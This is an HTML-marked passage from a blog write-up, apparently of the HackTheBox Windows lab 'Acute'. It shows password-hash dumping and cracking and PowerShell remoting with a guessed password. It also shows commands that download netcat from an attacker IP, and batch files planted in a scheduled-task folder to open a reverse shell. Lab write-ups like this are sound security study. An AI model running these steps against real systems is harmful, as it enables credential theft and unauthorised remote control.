&amp;lt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0810.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0811.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator and Natasha use the same password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Otherwise, hashcat can also be used&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;a29f7623fd11550def0192de9246f46b&amp;#34;&lt;/span&gt; &amp;gt; hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1000&lt;/span&gt; hash.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0812.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get in from the outside. Internally, of course, I could. The current target was ATSSERVER. I was already SYSTEM on DC01, so there was nothing else I needed there. PSWA presumably didn&amp;rsquo;t allow access to ATSSERVER either, which meant it was only reachable internally. I tried using several local accounts for remote access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\user&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. I checked another write-up and had no idea where the author had found the user—it simply appeared. I went back to the beginning and noticed the username awallace, an abbreviation of the first user&amp;rsquo;s name. I never would have thought of that. I checked more write-ups to see what their reasoning had been.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0813.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And I really did find the answer: any domain member account has permission to query this information.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List available PowerShell commands&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List domain users&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user awallace /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started trying these accounts. As it happened, awallace&amp;rsquo;s password was Password@123.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\awallace&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Everything after this was too difficult, so all I could do was reproduce it step by step. Finding what was on the target computer would take a lot of time, and that was the next step. Before that, I tried to get a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span class="se"&gt;\p&lt;/span&gt;owershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0814.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work. I went back to following the write-up and used this to browse the files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0815.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I read the file inside.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\keepmeon.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REM This is run every &lt;span class="m"&gt;5&lt;/span&gt; minutes. For Lois use ONLY&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; /R %%x in &lt;span class="o"&gt;(&lt;/span&gt;*.bat&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; not &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;%~0&amp;#34;&lt;/span&gt; call &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This script ran every five minutes and was for Lois only.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/R recursively searches all paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*.bat matches all batch files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%%x iterates over and stores each discovered path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%~0 is the current script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If %%x is not %~0 &lt;span class="o"&gt;(&lt;/span&gt;the current script&lt;span class="o"&gt;)&lt;/span&gt;, call executes it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;And it ran as Lois. Did that mean I only needed to drop a BAT file containing a reverse shell? I&amp;rsquo;d already imported the credential, so I checked which commands were available.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;Get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0816.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t use tools like curl. I couldn&amp;rsquo;t tell whether this machine could reach mine. If it could, I thought I could just pop a reverse shell directly. I tried writing a BAT file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\1.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;curl http://10.10.16.14:33333/ncexe/netcat.exe -o &amp;#34;C:\program files\keepmeon\netcat.exe&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\1&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0817.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I still needed the reverse shell, though, so I wrote a 2.bat as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\2.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\2&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0818.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. Now I just had to wait. While I waited, I thought about the next step. If the domain controller really couldn&amp;rsquo;t reach my attack machine, could I use DC01 as a pivot? What I wasn&amp;rsquo;t sure about was DC01&amp;rsquo;s IP—it looked like it was inside a container. I didn&amp;rsquo;t know whether the domain controller could reach DC01. Even if I disabled the firewall, I had no way to verify it. And with the task only running every five minutes, testing was a hassle. I&amp;rsquo;d verify it at the end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0819.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited for ages without any response. Back to the write-up.&lt;/p&gt;&#10;&lt;p&gt;I checked the administrator groups. This still followed the hint in the Word document from the beginning: although Lois wasn&amp;rsquo;t a domain administrator, she could add other users to the site administrators.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0820.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group. Next, I checked its details.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span 